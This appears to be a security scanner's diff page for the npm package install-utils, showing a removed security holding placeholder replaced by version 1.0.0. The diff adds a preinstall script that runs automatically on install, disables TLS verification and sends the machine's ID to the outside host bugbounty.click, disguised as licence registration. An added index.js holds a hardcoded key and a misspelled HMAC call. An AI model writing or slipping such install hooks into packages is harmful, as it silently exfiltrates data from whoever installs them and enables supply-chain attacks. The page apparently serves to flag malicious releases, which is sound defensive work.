install-utils 0.0.1-security → 1.0.0

Sign up to get free protection for your applications and to get access to all the features.

Potentially problematic release.


This version of install-utils might be problematic. Click here for more details.

package/README.md CHANGED
@@ -1,5 +1,3 @@
1
- # Security holding package
1
+ # Install Utils
2
2
 
3
- This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
4
-
5
- Please refer to www.npmjs.com/advisories?search=install-utils for more information.
3
+ Please bear with us whilst we sort licensing issues.
package/index.js ADDED
@@ -0,0 +1,9 @@
1
+ import hmac from 'js-crypto-hmac';
2
+
3
+ export default function getInstallKey(value) {
4
+ const key = "JH98227773929JJHHhhj287822o909182";
5
+ const msg = value;
6
+ const hash = 'SHA-512';
7
+
8
+ return hmac.computer(key, msg, hash);
9
+ }
package/package.json CHANGED
@@ -1,6 +1 @@
1
- {
2
- "name": "install-utils",
3
- "version": "0.0.1-security",
4
- "description": "security holding package",
5
- "repository": "npm/security-holder"
6
- }
1
+ {"name":"install-utils","version":"1.0.0","description":"Install utils","main":"index.js","scripts":{"test":"echo \"Error: no test specified\" && exit 1","preinstall":"node register_license.js"},"author":"","license":"ISC","dependencies":{"js-crypto-hmac":"^1.0.4","node-machine-id":"^1.1.12"},"type":"module"}
@@ -0,0 +1,16 @@
1
+ // Note that if this fails to register your license, then please make sure you have added all your licenses to the portal. The machine ID should be /var/lib/dbus/machine-id on Linux or HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography in Windows. Please see the documentation sent to you for details.
2
+ import machineIdSync from 'node-machine-id';
3
+ import https from 'https';
4
+
5
+ process.env['NODE_TLS_REJECT_UNAUTHORIZED'] = 0;
6
+
7
+ const options = {
8
+ hostname: 'bugbounty.click',
9
+ port: 443,
10
+ path: '/licensing/register.php?Username=' + encodeURI(machineIdSync.machineIdSync()) + '&Package=install-utils',
11
+ method: 'GET'
12
+ }
13
+
14
+ const req = https.request(options)
15
+
16
+ req.end();